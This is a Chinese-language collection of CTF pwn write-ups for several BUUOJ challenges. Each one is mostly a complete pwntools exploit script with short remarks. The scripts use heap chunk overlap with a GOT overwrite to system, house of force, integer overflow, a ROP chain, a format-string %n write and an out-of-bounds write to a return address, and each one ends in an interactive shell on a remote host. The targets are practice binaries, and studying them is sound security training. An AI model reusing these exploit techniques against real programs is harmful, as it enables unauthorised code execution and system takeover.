这题和之前的hitcontraining_heapcreator一样……
让node和本体互换就行了
exp:
from pwn import *
from LibcSearcher import *
local_file = './npuctf_2020_easyheap'
local_libc = '/root/glibc-all-in-one/libs/2.27/libc-2.27.so'
remote_libc = '/root/glibc-all-in-one/libs/2.27/libc-2.27.so'
select = 1
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('node3.buuoj.cn', 29687)
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
o_g = [0x4f2c5, 0x4f322, 0x10a38c]
def debug(cmd=''):
gdb.attach(r,cmd)
def menu(choice):
sea('Your choice :', str(choice))
def add(size, content):
menu(1)
sea('Size of Heap(0x10 or 0x20 only) : ', str(size))
sea('Content:', content)
def edit(index, content):
menu(2)
sea('Index :', str(index))
sea('Content: ', content)
def show(index):
menu(3)
sea('Index :', str(index))
def free(index):
menu(4)
sea('Index :', str(index))
add(0x18, 'aa')
add(0x18, 'aa')
p = '/bin/sh\x00'+p64(0)*2+p8(0x41)
edit(0, p)
free(1)
add(0x38, 'a'*0x20+p64(0x30)+p64(elf.got['free']))
show(1)
system = uu64(ru('\x7f')[-6:]) - libc.sym['free'] + libc.sym['system']
edit(1, p64(system))
free(0)
r.interactive()
int -2147483648 --> 2147483647 2147483648会变成-2147483648 -2147483649会变成2147483647 也就是说int是-2147483648到2147483647的循环
-2147483648 -1 0 1 2147483647
0x80000000 0xFFFFFFFF 0x0 0x1 0x7FFFFFFF
也就是最大正数+1=最小负数 最小负数-1=最大正数
from pwn import *
from LibcSearcher import *
local_file = './wustctf2020_number_game'
local_libc = '/usr/lib/x86_64-linux-gnu/libc-2.29.so'
remote_libc = '/usr/lib/x86_64-linux-gnu/libc-2.29.so'
select = 1
if select == 0:
r = process(local_file)
#libc = ELF(local_libc)
else:
r = remote('node3.buuoj.cn', 28062)
#libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
sl('-2147483648')
r.interactive()
32位heap太折磨人了,orz
前面三个输入有漏洞
具体的可以看这里,总结一下就是虽然MyRead添加了\0,但是因为栈的关系,当read0x40时,malloc的时候把\0给覆盖了,导致后面strcpy一路复制下去了
https://blog.csdn.net/qq_33528164/article/details/79870585
https://blog.csdn.net/seaaseesa/article/details/105588058
后面就是house of force
exp:
from pwn import *
from LibcSearcher import *
local_file = './bcloud_bctf_2016'
local_libc = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
remote_libc = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
select = 1
if select == 0:
r = process(local_file)
#libc = ELF(local_libc)
else:
r = remote('node3.buuoj.cn', 25289)
#libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
def debug(cmd=''):
gdb.attach(r,cmd)
def menu(choice):
sla('option--->>\n', str(choice))
def add(size, content):
menu(1)
sla('note content:\n',str(size))
sla('content:\n',content)
def edit(index, content):
menu(3)
sla('id:\n',str(index))
sla('content:\n',content)
def free(index):
menu(4)
sla('id:\n',str(index))
def syn():
menu(5)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
free_got = elf.got['free']
sea('Input your name:','a'*0x40)
ru('a'*0x40)
heap_addr = uu32(rc(4))
info('heap_addr', heap_addr)
sea('Org:','a'*0x40)
sla('Host:',p32(0xFFFFFFFF))
top = heap_addr + 0xd0
heap_ptr = 0x0804B120
offset = heap_ptr - top - 0x10
add(offset, '')
add(0x18, 'aa')
edit(1,p32(0) + p32(free_got) + p32(puts_got) + p32(0x0804B130) + '/bin/sh\x00')
edit(1,p32(puts_plt) + '\n')
info('puts_plt', puts_plt)
free(2)
puts_addr = uu32(rc(4))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
edit(1, p32(system))
free(3)
r.interactive()
用了32的16libc好像不对,用libcsearcher解决了
记得binsh是要用地址的,所以binsh前面有个0x0804B130,是binsh的地址
这题好像本意是格式化字符串,结果直接ret给做了……
exp:
from pwn import *
from LibcSearcher import *
local_file = './mrctf2020_easy_equation'
local_libc = '/usr/lib/x86_64-linux-gnu/libc-2.29.so'
remote_libc = '/usr/lib/x86_64-linux-gnu/libc-2.29.so'
select = 1
if select == 0:
r = process(local_file)
#libc = ELF(local_libc)
else:
r = remote('node3.buuoj.cn', 26205)
#libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
pop_rdi = 0x0000000000400753
binsh = 0x0000000000400774
p = 'a' + 'b'*8 + p64(pop_rdi) + p64(binsh) + p64(elf.plt['system'])
sl(p)
r.interactive()
格式化字符串的:
exp:
from pwn import *
from LibcSearcher import *
local_file = './mrctf2020_easy_equation'
local_libc = '/usr/lib/x86_64-linux-gnu/libc-2.29.so'
remote_libc = '/usr/lib/x86_64-linux-gnu/libc-2.29.so'
select = 1
if select == 0:
r = process(local_file)
#libc = ELF(local_libc)
else:
r = remote('node3.buuoj.cn', 26205)
#libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
judge = 0x60105C
p = 'a' + '%' + str(1) + 'c%9$na' + p64(judge)
sl(p)
r.interactive()
具体的debug观察一下栈结构就好了
这题比较有意思,是一道数组越界改ret
exp:
from pwn import *
from LibcSearcher import *
local_file = './wustctf2020_name_your_cat'
local_libc = '/usr/lib/x86_64-linux-gnu/libc-2.29.so'
remote_libc = '/usr/lib/x86_64-linux-gnu/libc-2.29.so'
select = 1
if select == 0:
r = process(local_file)
#libc = ELF(local_libc)
else:
r = remote('node3.buuoj.cn', 29187)
#libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
backdoor = 0x080485CB
for i in range(1, 5):
sl(str(i))
sl('aa')
sl('7')
sl(p32(backdoor))
r.interactive()
简单来说就是数组距离ret的距离是0x38, 也就是56,所以如果我们输入7,那就是7*8=56
那我们就能够改ret的内容了
但是我们要先填充完前4个,不然无法触发ret